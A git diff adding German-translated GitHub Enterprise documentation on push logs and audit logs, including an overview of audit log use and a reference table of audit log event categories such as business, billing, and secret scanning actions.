+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Auditing
+  - Enterprise
+  - Git
+  - Logging
+ms.openlocfilehash: c759d380b7cbc54918e87ed354c8264bc533c31b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145104831'
+---
+Push-Protokolleinträge zeigen:
+
+- Wer den Push-Vorgang initiiert hat
+- Ob es ein erzwungener Push-Vorgang war
+- Den Branch, an den Elemente per Push-Vorgang übertragen wurden
+- Das für den Push-Vorgang verwendete Protokoll
+- Die IP-Quelladresse
+- Der für den Push-Vorgang verwendete Git-Client
+- Die SHA-Hashes vor und nach dem Vorgang
+
+## Push-Protokolle eines Repositorys anzeigen
+
+1. Melde dich bei {% data variables.product.prodname_ghe_server %} als Websiteadministrator*in an.
+1. Navigiere zu einem Repository.
+1. Klicke in der rechten oberen Ecke auf der Repositoryseite auf {% octicon "rocket" aria-label="The rocket ship" %}.
+    ![Raketensymbol für den Zugriff auf Websiteadministratoreinstellungen](/assets/images/enterprise/site-admin-settings/access-new-settings.png) {% data reusables.enterprise_site_admin_settings.security-tab %}
+4. Klicke auf der linken Randleiste auf **Pushprotokoll**.
+![Registerkarte „Pushprotokoll“](/assets/images/enterprise/site-admin-settings/push-log-tab.png)
+
+{% ifversion ghes %}
+## Push-Protokolle eines Repositorys an der Befehlszeile anzeigen
+
+{% data reusables.enterprise_installation.ssh-into-instance %}
+1. Öffne im entsprechenden Git-Repository die Auditprotokolldatei:
+  ```shell
+  ghe-repo <em>owner</em>/<em>repository</em> -c "cat audit_log"
+  ```
+{% endif %}
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/index.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/index.md
new file mode 100644
index 0000000000..8fa12fd652
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/index.md
@@ -0,0 +1,24 @@
+---
+title: Überwachen von Aktivitäten in deinem Unternehmen
+intro: 'Du kannst Benutzer- und Systemaktivitäten anzeigen, indem du Überwachungsprotokolle{% ifversion ghes or ghae %}, Pushprotokolle, Dashboards, Webhooks und Protokollweiterleitung{% else %}und webhooks{% endif %} nutzt.'
+redirect_from:
+  - /enterprise/admin/installation/monitoring-activity-on-your-github-enterprise-server-instance
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+children:
+  - /reviewing-audit-logs-for-your-enterprise
+  - /exploring-user-activity
+  - /analyzing-how-your-team-works-with-server-statistics
+shortTitle: Monitor activity
+ms.openlocfilehash: 677ecdb7c35a8ed4c0d27b7ebe21e9377fc373db
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147068022'
+---
+
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise.md
new file mode 100644
index 0000000000..004a44b9e4
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise.md
@@ -0,0 +1,58 @@
+---
+title: About the audit log for your enterprise
+intro: 'To support debugging and internal and external compliance, {% data variables.product.product_name %} provides logs of audited{% ifversion ghes %} system,{% endif %} user, organization, and repository events.'
+shortTitle: About audit logs
+redirect_from:
+  - /enterprise/admin/articles/audit-logging
+  - /enterprise/admin/installation/audit-logging
+  - /enterprise/admin/user-management/audit-logging
+  - /admin/user-management/audit-logging
+  - /admin/user-management/monitoring-activity-in-your-enterprise/audit-logging
+  - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/auditing-activity-in-your-enterprise
+  - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/auditing-activity-in-your-enterprise
+  - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/auditing-activity-in-your-enterprise
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Auditing
+  - Enterprise
+  - Logging
+  - Security
+---
+
+## About audit logs
+
+{% data reusables.audit_log.retention-periods %}
+
+{% data reusables.audit_log.audit-log-search-list-info-about-action %}
+
+In addition to viewing your audit log, you can monitor activity in your enterprise in other ways, such as {% ifversion ghes or ghae %}viewing push logs and {% endif %}managing global webhooks. For more information, see "[Exploring user activity in your enterprise](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity)."
+
+## Using your audit logs
+
+As an enterprise owner{% ifversion ghes %} or site administrator{% endif %}, you can interact with the audit log data for your enterprise in several ways:
+- You can view the audit log for your enterprise. For more information, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)."
+- You can search the audit log for specific events{% ifversion ghec %} and export audit log data{% endif %}. For more information, see "[Searching the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise)"{% ifversion ghec %} and "[Exporting the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise)"{% endif %}.{% ifversion token-audit-log %}
+- You can identify all events that were performed by a specific access token. For more information, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)."{% endif %}{% ifversion audit-data-retention-tab %}
+- You can configure settings, such as the retention period for audit log events{% ifversion enable-git-events %} and whether Git events are included{% endif %}. For more information, see "[Configuring the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise)."{% endif %}
+{%- ifversion enterprise-audit-log-ip-addresses %}
+- You can display the IP address associated with events in the audit log. For more information, see "[Displaying IP addresses in the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise)."
+{%- endif %}
+{%- ifversion audit-log-streaming %}
+- You can stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system. For more information, see "[Streaming the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise)."
+{%- endif %}
+{%- ifversion ghes %}
+- You can forward audit and system logs, from your enterprise to an third-party hosted monitoring system. For more information, see "[Log forwarding](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding)."
+{%- endif %}
+- You can use the Audit log API to view actions performed in your enterprise. For more information, see "[Using the audit log API for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise)."
+
+For a full list of audit log actions that may appear in your enterprise audit log, see "[Audit log actions for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)."
+
+## Further reading
+- "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization)"
+{%- ifversion ghes %}
+- "[About system logs](/admin/enterprise-management/monitoring-your-appliance/about-system-logs)"
+{%- endif %}
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise.md
new file mode 100644
index 0000000000..07ae1f83e4
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise.md
@@ -0,0 +1,27 @@
+---
+title: Accessing the audit log for your enterprise
+intro: You can view aggregated actions from all of the organizations owned by an enterprise account in the enterprise's audit log.
+shortTitle: Access audit logs
+permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}can access the audit log.'
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/viewing-the-audit-logs-for-organizations-in-your-enterprise-account
+  - /articles/viewing-the-audit-logs-for-organizations-in-your-business-account
+  - /articles/viewing-the-audit-logs-for-organizations-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise-account/viewing-the-audit-logs-for-organizations-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise-account
+  - /admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Auditing
+  - Enterprise
+  - Logging
+---
+{% data reusables.audit_log.retention-periods %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.audit-log-tab %}
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise.md
new file mode 100644
index 0000000000..99d5e610fc
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise.md
@@ -0,0 +1,1482 @@
+---
+title: Audit log events for your enterprise
+intro: Learn about audit log events recorded for your enterprise.
+shortTitle: Audit log events
+permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}can interact with the audit log.'
+miniTocMaxHeadingLevel: 4
+redirect_from:
+  - /enterprise/admin/articles/audited-actions
+  - /enterprise/admin/installation/audited-actions
+  - /enterprise/admin/user-management/audited-actions
+  - /admin/user-management/audited-actions
+  - /admin/user-management/monitoring-activity-in-your-enterprise/audited-actions
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: reference
+topics:
+  - Auditing
+  - Enterprise
+  - Logging
+  - Security
+---
+
+{% ifversion ghec%}
+## About audit log events for your enterprise
+
+The scope of the events that appear in your enterprise's audit log depend on whether your enterprise uses {% data variables.product.prodname_emus %}. For more information about {% data variables.product.prodname_emus %}, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)."
+
+- If your enterprise does not use {% data variables.product.prodname_emus %}, the audit log only includes events related to the enterprise account and the organizations within the enterprise account, which are listed in this article.
+- If your enterprise uses {% data variables.product.prodname_emus %}, the audit log also includes user events for {% data variables.enterprise.prodname_managed_users %}, such as each time the user logs in to {% data variables.product.product_name %}. For a list of these events, see "[Reviewing your security log](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log#security-log-actions)."
+{% endif %}
+
+{%- ifversion fpt or ghec %}
+## `account` category actions
+
+| Action | Description
+|--------|-------------
+| `account.billing_plan_change` | An organization's billing cycle changed. For more information, see "[Changing the duration of your billing cycle](/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle)."
+| `account.plan_change` | An organization's subscription changed. For more information, see "[About billing for GitHub accounts](/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts)."
+| `account.pending_plan_change` | An organization owner or billing manager canceled or downgraded a paid subscription. For more information, see "[How does upgrading or downgrading affect the billing process?](/billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process)."
+| `account.pending_subscription_change` | A {% data variables.product.prodname_marketplace %} free trial started or expired. For more information, see "[About billing for GitHub Marketplace](/billing/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace)."
+{%- endif %}
+
+{%- ifversion fpt or ghec %}
+## `advisory_credit` category actions
+
+| Action | Description
+|--------|-------------
+| `advisory_credit.accept` | Someone accepted credit for a security advisory. For more information, see "[Editing a security advisory](/github/managing-security-vulnerabilities/editing-a-security-advisory)."
+| `advisory_credit.create` | The administrator of a security advisory added someone to the credit section.
+| `advisory_credit.decline` | Someone declined credit for a security advisory.
+| `advisory_credit.destroy` | The administrator of a security advisory removed someone from the credit section.
+{%- endif %}
+
+## `artifact` category actions
+
+| Action | Description
+|--------|-------------
+| `artifact.destroy`    | A workflow run artifact was manually deleted.
+
+{%- ifversion audit-log-streaming %}
+## `audit_log_streaming` category actions
+
+| Action | Description
+|--------|-------------
+| `audit_log_streaming.check` | A manual check was performed of the endpoint configured for audit log streaming.
+| `audit_log_streaming.create` | An endpoint was added for audit log streaming.
+| `audit_log_streaming.update` | An endpoint configuration was updated for audit log streaming, such as the stream was paused, enabled, or disabled.
+| `audit_log_streaming.destroy` | An audit log streaming endpoint was deleted.
+{%- endif %}
+
+{%- ifversion fpt or ghec %}
+## `billing` category actions
+
+| Action | Description
+|--------|-------------
+| `billing.change_billing_type` | An organization changed how it paid for {% data variables.product.prodname_dotcom %}. For more information, see "[Adding or editing a payment method](/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method)."
+| `billing.change_email` | An organization's billing email address changed. For more information, see "[Setting your billing email](/billing/managing-your-github-billing-settings/setting-your-billing-email)."
+{%- endif %}
+
+## `business` category actions
+
+| Action | Description
+|--------|-------------
+| `business.add_admin` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} was added to an enterprise.
+{%- ifversion ghec %}
+| `business.add_billing_manager` | A billing manager was added to an enterprise.
+{%- endif %}
+| `business.add_organization` | An organization was added to an enterprise.
+{%- ifversion ghec %}
+| `business.add_support_entitlee` | A support entitlement was added to a member of an enterprise. For more information, see "[Managing support entitlements for your enterprise](/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)."
+{%- endif %}
+{%- ifversion ghes or ghae %}
+| `business.advanced_security_policy_update` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} created, updated, or removed a policy for {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)."
+{%- endif %}
+{%- ifversion ghec %}
+| `business.cancel_admin_invitation` | An invitation for someone to be an owner{% ifversion ghes %} or site administrator{% endif %} of an enterprise was canceled.
+| `business.cancel_billing_manager_invitation` | An invitation for someone to be an billing manager of an enterprise was canceled.
+{%- endif %}
+{%- ifversion ghes %}
+| `business.clear_actions_settings` | An enterprise owner or site administrator cleared {% data variables.product.prodname_actions %} policy settings for an enterprise. For more information, see "[Enforcing policies for GitHub Actions in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise)."
+{%- endif %}
+| `business.clear_default_repository_permission` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} cleared the base repository permission policy setting for an enterprise. For more information, see "[Enforcing a policy for base repository permissions](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-base-repository-permissions)."
+| `business.clear_members_can_create_repos`      | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} cleared a restriction on repository creation in organizations in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."
+| `business.create`                              | An enterprise was created.
+{%- ifversion ghec %}
+| `business.disable_saml` | SAML single sign-on was disabled for an enterprise.
+{%- endif %}
+| `business.disable_two_factor_requirement` | The requirement for members to have two-factor authentication enabled to access an enterprise was disabled.
+{%- ifversion ghec %}
+| `business.enable_saml` | SAML single sign-on was enabled for an enterprise.
+{%- endif %}
+| `business.enable_two_factor_requirement` | The requirement for members to have two-factor authentication enabled to access an enterprise was enabled.
+{%- ifversion ghec %}
+| `business.enterprise_server_license_download` | A {% data variables.product.prodname_ghe_server %} license was downloaded.
+| `business.import_license_usage` | License usage information was imported from a {% data variables.product.prodname_ghe_server %} instance to an enterprise account on {% data variables.product.prodname_dotcom_the_website %}.
+| `business.invite_admin` | An invitation for someone to be an enterprise owner{% ifversion ghes %} or site administrator{% endif %} of an enterprise was sent.
+| `business.invite_billing_manager` | An invitation for someone to be an billing manager of an enterprise was sent.
+{%- endif %}
+| `business.members_can_update_protected_branches.clear` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} unset a policy for whether members of an enterprise can update protected branches on repositories for individual organizations. Organization administrators can choose whether to allow updating protected branches settings.
+| `business.members_can_update_protected_branches.disable` | The ability for enterprise members to update branch protection rules was disabled. Only enterprise owners can update protected branches.
+| `business.members_can_update_protected_branches.enable` | The ability for enterprise members to update branch protection rules was enabled. Enterprise owners and members can update protected branches.
+| `business.remove_admin` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} was removed from an enterprise.
+{%- ifversion ghes %}
+| `business.referrer_override_enable` | An enterprise owner or site administrator enabled the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)."
+| `business.referrer_override_disable` | An enterprise owner or site administrator disabled the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)."
+{%- endif %}
+{%- ifversion ghec %}
+| `business.remove_billing_manager` | A billing manager was removed from an enterprise.
+| `business.remove_member` | A member was removed from an enterprise.
+{%- endif %}
+| `business.remove_organization` | An organization was removed from an enterprise.
+{%- ifversion ghec %}
+| `business.remove_support_entitlee` | A support entitlement was removed from a member of an enterprise. For more information, see "[Managing support entitlements for your enterprise](/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)."
+{%- endif %}
+| `business.rename_slug` | The slug for the enterprise URL was renamed.
+{%- ifversion ghec %}
+| `business.revoke_external_identity` | The external identity for a member in an enterprise was revoked.
+| `business.revoke_sso_session` | The SAML single sign-on session for a member in an enterprise was revoked.
+{%- endif %}
+{%- ifversion ghec %}
+| `business.set_actions_fork_pr_approvals_policy` | The setting for requiring approvals for workflows from public forks was changed for an enterprise. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-your-enterprise)."
+{%- endif %}
+| `business.set_actions_retention_limit` | The retention period for {% data variables.product.prodname_actions %} artifacts and logs was changed for an enterprise. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in an enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)."
+{%- ifversion ghec or ghes %}
+| `business.set_fork_pr_workflows_policy` | The policy for workflows on private repository forks was changed. For more information, see "{% ifversion ghec %}[Enforcing policies for {% data variables.product.prodname_actions %} in an enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-private-repositories){% else ifversion ghes > 2.22 %}[Enabling workflows for private repository forks](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enforcing-github-actions-policies-for-your-enterprise#enabling-workflows-for-private-repository-forks){% endif %}."
+{%- endif %}
+{%- ifversion audit-log-sso-response-events %}
+|`business.sso_response` | A SAML single sign-on (SSO) response was generated when a member attempted to authenticate with your enterprise. This event is only available via audit log streaming and the REST API.
+{%- endif %}
+{%- ifversion ghes %}
+| `business.update_actions_settings` | An enterprise owner or site administrator updated {% data variables.product.prodname_actions %} policy settings for an enterprise. For more information, see "[Enforcing policies for GitHub Actions in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise)."
+{%- endif %}
+| `business.update_default_repository_permission` | The base repository permission setting was updated for all organizations in an enterprise. For more information, see "[Enforcing a policy for base repository permissions](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-base-repository-permissions)."
+| `business.update_member_repository_creation_permission` | The repository creation setting was updated for an enterprise. For more information, see "[Enforcing a policy for repository creation](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-creation)."
+| `business.update_member_repository_invitation_permission` | The policy setting for enterprise members inviting outside collaborators to repositories was updated. For more information, see "[Enforcing a policy for inviting outside collaborators to repositories](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-outside-collaborators-to-repositories)."
+{%- ifversion ghec %}
+| `business.update_saml_provider_settings` | The SAML single sign-on provider settings for an enterprise were updated.
+{%- endif %}
+
+{% ifversion code-security-audit-log-events %}
+
+## `business_advanced_security` category actions
+
+| Action | Description
+|--------|-------------
+| `business_advanced_security.disabled` | {% data variables.product.prodname_GH_advanced_security %} was disabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
+| `business_advanced_security.enabled` | {% data variables.product.prodname_GH_advanced_security %} was enabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
+| `business_advanced_security.disabled_for_new_repos` | {% data variables.product.prodname_GH_advanced_security %} was disabled for new repositories in your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
+| `business_advanced_security.enabled_for_new_repos` | {% data variables.product.prodname_GH_advanced_security %} was enabled for new repositories in your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
+
+{% endif %}
+
+{% ifversion code-security-audit-log-events %}
+
+## `business_secret_scanning` category actions
+
+| Action | Description
+|--------|-------------
+| `business_secret_scanning.disable` | {% data variables.product.prodname_secret_scanning_caps %} was disabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
+| `business_secret_scanning.enable` | {% data variables.product.prodname_secret_scanning_caps %} was enabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
+| `business_secret_scanning.disabled_for_new_repos` | {% data variables.product.prodname_secret_scanning_caps %} was disabled for new repositories in your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
+| `business_secret_scanning.enabled_for_new_repos` | {% data variables.product.prodname_secret_scanning_caps %} was enabled for new repositories in your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
+
+{% endif %}
+
+{%- ifversion secret-scanning-audit-log-custom-patterns %}
+## `business_secret_scanning_custom_pattern` category actions
+
+Action                        | Description
+----------------------------- | -----------------------------------------------
+| `business_secret_scanning_custom_pattern.create` | An enterprise-level custom pattern is published for secret scanning. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#defining-a-custom-pattern-for-an-enterprise-account)."
+| `business_secret_scanning_custom_pattern.delete` | An enterprise-level custom pattern is removed from secret scanning.
+| `business_secret_scanning_custom_pattern.update` | Changes to an enterprise-level custom pattern are saved for secret scanning.
+{%- endif %}
+
+{% ifversion code-security-audit-log-events %}
+
+## `business_secret_scanning_push_protection` category actions
+
+| Action | Description
+|--------|-------------
+| `business_secret_scanning_push_protection.disable` | Push protection for {% data variables.product.prodname_secret_scanning %} was disabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
+| `business_secret_scanning_push_protection.enable` | Push protection for {% data variables.product.prodname_secret_scanning %} was enabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
+| `business_secret_scanning_push_protection.disabled_for_new_repos` | Push protection for {% data variables.product.prodname_secret_scanning %} was disabled for new repositories in your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
+| `business_secret_scanning_push_protection.enabled_for_new_repos` | Push protection for {% data variables.product.prodname_secret_scanning %} was enabled for new repositories in your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
+
+{% endif %}
+
+{% ifversion code-security-audit-log-events %}
+
+## `business_secret_scanning_push_protection_custom_message` category actions
+
+| Action | Description
+|--------|-------------
+| `business_secret_scanning_push_protection_custom_message.disable` | The custom message triggered by an attempted push to a push-protected repository was disabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
+| `business_secret_scanning_push_protection_custom_message.enable` | The custom message triggered by an attempted push to a push-protected repository was enabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
+| `business_secret_scanning_push_protection_custom_message.update` | The custom message triggered by an attempted push to a push-protected repository was updated for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
+
+{% endif %}
+
+## `checks` category actions
+
+| Action | Description
+|--------|-------------
+| `checks.auto_trigger_disabled` | Automatic creation of check suites was disabled on a repository in the organization or enterprise. For more information, see "[Update repository preferences for check suites](/rest/reference/checks#update-repository-preferences-for-check-suites)."
+| `checks.auto_trigger_enabled` | Automatic creation of check suites was enabled on a repository in the organization or enterprise. For more information, see "[Update repository preferences for check suites](/rest/reference/checks#update-repository-preferences-for-check-suites)."
+{%- ifversion fpt or ghec %}
+| `checks.delete_logs` | Logs in a check suite were deleted.
+{%- endif %}
+
+{%- ifversion fpt or ghec %}
+## `codespaces` category actions
+
+| Action | Description
+|--------|-------------
+| `codespaces.connect` | A codespace was started.
+| `codespaces.create` | A user [created a codespace](/github/developing-online-with-codespaces/creating-a-codespace).
+| `codespaces.destroy` | A user [deleted a codespace](/github/developing-online-with-codespaces/deleting-a-codespace).
+| `codespaces.allow_permissions` | A codespace using custom permissions from its `devcontainer.json` file was launched.
+| `codespaces.attempted_to_create_from_prebuild` | An attempt to create a codespace from a prebuild was made.
+| `codespaces.create_an_org_secret` | A user created an organization-level [secret for {% data variables.product.prodname_github_codespaces %}](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces#about-encrypted-secrets-for-codespaces)
+| `codespaces.update_an_org_secret` | A user updated an organization-level [secret for {% data variables.product.prodname_github_codespaces %}](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces#about-encrypted-secrets-for-codespaces).
+| `codespaces.remove_an_org_secret` | A user removed an organization-level [secret for {% data variables.product.prodname_github_codespaces %}](/github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces#about-encrypted-secrets-for-codespaces).
+| `codespaces.manage_access_and_security` | A user updated [which repositories a codespace can access](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces).
+{%- endif %}
+
+{%- ifversion fpt or ghec %}
+## `commit_comment` category actions
+
+| Action | Description
+|--------|-------------
+| `commit_comment.destroy` | A commit comment was deleted.
+| `commit_comment.update` | A commit comment was updated.
+{%- endif %}
+
+{%- ifversion ghes %}
+## `config_entry` category actions
+
+| Action | Description
+|--------|-------------
+| `config_entry.create` | A configuration setting was created. These events are only visible in the site admin audit log. The type of events recorded relate to:</br>- Enterprise settings and policies</br>- Organization and repository permissions and settings</br>- Git, Git LFS, {% data variables.product.prodname_github_connect %}, {% data variables.product.prodname_registry %}, project, and code security settings.
+| `config_entry.destroy` | A configuration setting was deleted. These events are only visible in the site admin audit log. The type of events recorded relate to:</br>- Enterprise settings and policies</br>- Organization and repository permissions and settings</br>- Git, Git LFS, {% data variables.product.prodname_github_connect %}, {% data variables.product.prodname_registry %}, project, and code security settings.
+| `config_entry.update` | A configuration setting was edited. These events are only visible in the site admin audit log. The type of events recorded relate to:</br>- Enterprise settings and policies</br>- Organization and repository permissions and settings</br>- Git, Git LFS, {% data variables.product.prodname_github_connect %}, {% data variables.product.prodname_registry %}, project, and code security settings.
+{%- endif %}
+
